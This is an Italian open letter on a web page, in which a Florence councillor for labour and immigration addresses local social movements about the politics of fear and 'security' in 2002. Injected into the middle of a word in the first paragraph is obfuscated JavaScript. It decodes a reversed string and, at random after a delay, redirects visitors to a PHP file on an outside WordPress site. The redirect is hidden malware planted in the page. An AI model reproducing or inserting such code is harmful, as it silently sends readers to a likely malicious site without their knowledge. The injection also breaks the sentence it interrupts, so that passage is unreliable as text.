Lettera aperta di un’amministratrice ai movimenti ed associazioni di Firenze

image_pdfimage_print

Ho deciso di scrivervi perché vorrei dirvi tutto ciò che non sono riuscita a comunicarvi in tante occasioni comuni di incontro.
Vi scrivo perché vorrei capire se è possibile condividere valori, perché no, emozioni?!
Vi scrivo in questo inizio d’anno perché è l’occasione giusta per rinnovare la consuetudine di fare nuovi programmi; così come è ormai tradizione, al termine di ogni anno, fare bilanci, ripercorrere tappe ed eventi che hanno caratterizzato il periodo che si è chiuso, passare in rassegna i temi “caldi” con i quali ci siamo trovati a confronto.
Se si sfogliano giornali, riviste, o ci si concentra sulle notizie trasmesse da radio e tv, o, più semplicemente, si fa riferimento alla nostra personale esperienza, ci rendiamo conto che per tutto il 2002 ha assunto cruciale importanza il tema della sicurezza; per meglio dire la ricerca, spesso spasmodica ed ossessiva, di sicurezza.
A guardarci bene dentro è assolutamente naturale e legittimo che le persone si pongano l’obiettivo di uscire da una condizione di instabilità, di sfiducia, di incertezza.
Ciò che trovo “innaturale” e pericoloso è che da più parti si faccia leva esclusivamente sul sentimento di insicurezza, sulle paure, più indotte che suffragate da fatti reali, sulla percezione di un mondo che è più sicuro quanto è più piccolo, che è più sopportabile quanto è più rinchiuso in un microcosmo conosciuto, non attraversato da piccoli e gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andi eventi che vi possono portare scompiglio, insomma, in una parola: insicurezza.
Ognuno di noi ha ancora ben vivo il ricordo della parossistica campagna di terrore e di panico che ha accompagnato il Social Forum Europeo nella nostra città.
Non sono mai stata incline ad alimentarmi di fantasie su foschi destini ineluttabili o su futuri apocalittici dove un manipolo di demoni tiene in mano le sorti del mondo.
Certo, di fronte a tante immagini di guerre, fame, disperazione e morte, la tentazione di additare precise responsabilità e “salvarsi l’anima” talvolta si affaccia e rischia di ingannare la coscienza con la sua carica catarchica.
Ho sempre pensato che limitarsi a fare questo significherebbe, di fatto, ridurre noi stessi ad un ruolo di puri testimoni e rinunciare al potere che ci deriva dall’essere umani e non dall’essere capi di qualcosa, a quell’autorevolezza che non proviene da qualche titolo o targa, ma dall’essere persone.
Tuttavia non posso fare a meno di pensare che dietro il tema dell’insicurezza, della sua pervasività, della ricerca affannosa e, spesso, irrazionale del suo contrario, vi sia una strategia precisa quanto terribile perché tesa a mantenere uno stato di potere fondato sulla paura e, quindi, sempre di più un vero e proprio regime.
Ho provato anch’io, in questa fine d’anno, a tracciare il mio piccolo, personale bilancio sulla mia insicurezza, anche come sano esercizio di reazione vitale al dilagante: “tanto non ci si può fare niente…il mondo va così”.
Quando mi sento e sono insicura?
Quando leggo e vedo le immagini del Sud Africa dove i bambini nascono per morire di AIDS e so che la loro vita e quella delle loro madri potrebbe essere allungata da quei farmaci che hanno costi troppo alti e che non arriveranno mai per alleviare le loro sofferenze perché le aziende che li producono, pur essendo multinazionali, si rinchiudono in un mondo piccolo, piccolo quando si tratta dei loro miliardi di dollari di profitto.
Mi sento insicura quando leggo e vedo anziani e bambini argentini morire letteralmente di fame. Ma come?!
L’Argentina: terra promessa negli anni ’50! Buenos Aires che contava il 9% di poveri negli anni ’70; Buenos Aires dove oggi il 50% delle persone è costretto a vivere con meno di 1 dollaro il giorno; dove il programma più seguito in tv è un quiz dove non si vincono ricchi premi, bensì un posto di lavoro, per di più precario!
Mi sento insicura quando leggo e vedo bambini, donne, civili straziati da guerre infinite, da ordigni che portano morte sia che esplodano in una scuola o su un autobus, sia che vengano lanciate da un aereo che, troppo in alto tra le nuvole, non potrà mai ne’ vedere ne’ sentire lo strazio e la morte che provocherà.
Mi sento insicura di fronte alle guerre preventive che si spostano da un paese all’altro, da una data di inizio all’altra, a seconda dell’andamento del prezzo del petrolio.
Mi sento insicura quando vedo i volti, le lotte di operai, donne e famiglie per difendere un posto di lavoro conquistato con la fatica di tutti i giorni a Termini Imprese, a Torino, ma anche nella mia città, a Firenze.
E l’insicurezza cresce a dismisura quando ascolto le farneticazioni di un Presidente del Consiglio che vaneggia su un cambio di marchio (Ferrari al posto di Fiat), o su un po’ di lavoro nero prestato al soldo, molto probabilmente di mafia e camorra, che risolverebbe magicamente il dramma di tante persone.
Mi sento insicura quando ascolto le storie di tante giovani ragazze e ragazzi ai quali è stato fatto balenare un futuro moderno e dinamico nel settore dell’informatica e della new economy; quei giovani che oggi fanno duramente i conti con precariato, assenza di diritti, progetti di vita infranti perché l’economia fatta d’aria, per alimentarsi, ha bisogno di ossigeno che può esserle fornito solo da una forte e robusta impresa industriale e da un’intensa attività di ricerca e di sviluppo.
Mi sento insicura quando nella mia città vedo, rintraccio e tocco ogni giorno i segni dell’esclusione sociale su tante persone provenienti da altre parti del mondo che rischiano la galera solo perché non munite di un foglio che si chiama “permesso di soggiorno” e che sono continuamente additate all’opinione pubblica come quei clandestini colpevoli di tutti i crimini e misfatti del nostro paese.
Mi sento insicura quando conosco e vedo le condizioni inumane in cui sono costrette a vivere le persone recluse in carcere; molte di quelle persone, colpevoli di errori non gravi, potrebbero reinserirsi e dare un loro contributo positivo alla nostra società; invece continuano ad affollare oltre ogni limite di umana sopportazione anguste celle, mentre chi detiene il potere vara leggi per sé e la sua congrega che rendono la giustizia sempre più disuguale tra chi ha i soldi e chi no.
Per porre fine a questa insicurezza io credo che non vi siano scorciatoie, ne’ deviazioni ammesse; non si possono teorizzare, come in troppi fanno, diritti minori per alcuni piuttosto che per altri.
Vi sono diritti e basta, senza la possibilità di adottare mezzi più sbrigativi delle vie giuste per raggiungere l’obiettivo dell’inclusione sociale e, quindi, della tanto desiderata sicurezza.
Mi sono sentita sicura insieme a voi a Roma, il 14 Settembre, a Firenze il 18 Ottobre; mi sono sentita sicura nei tanti appuntamenti fiorentini e lo scorso Novembre, nella nostra città, insieme a tanti giovani, uomini, donne che pacificamente e in armonia hanno invaso Firenze per dare valore ai valori, forti ed unificanti dell’essere persone, essere umani in ogni parte del mondo, per avere diritti e dignità eguali.
Mi dà sicurezza conoscere persone che hanno il gusto di stare insieme per pensare, fare, organizzarsi e lottare contro le ingiustizie.
La mia attuale attività nell’Amministrazione della Città ha sempre avuto bisogno delle persone in carne ed ossa, dei loro movimenti, associazioni, stimoli, critiche, proposte.
Sono sempre stata convinta che, in solitudine, un’Amministrazione che pure cerchi di fare del suo meglio non riuscirà davvero a cambiare un pezzetto di mondo. Non sono incline a mettere in piazza i miei sentimenti profondi. Considero quelle trasmissioni televisive (sempre più pervasive, a proposito di TV e tema dell’informazione!) che ci esibiscono affetti, sentimenti, lacrime, dove è l’intimità a fare spettacolo, veri e propri programmi pornografici e osceni. Per questo non riuscirò a svelare tutto ciò che c’è nel mio cuore ed anche per una ragione che attiene all’etica della responsabilità non farò tentativi gattopardeschi, che non mi appartengono, di “sciogliermi” nel movimento.
Ho sentito il bisogno di scrivervi perché volevo comunicarvi queste cose di me e per avere, se possibile, un luogo e persone con le quali condividere quello speciale potere e sicurezza in grado di rinsaldare il valore che ho sempre dato alla capacità di indignarsi e dire: “questo mondo non mi piace … Un altro mondo è possibile!”

[Marzia Monciatti – Assessore alle Politiche del Lavoro e Immigrazione del Comune di Firenze]

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *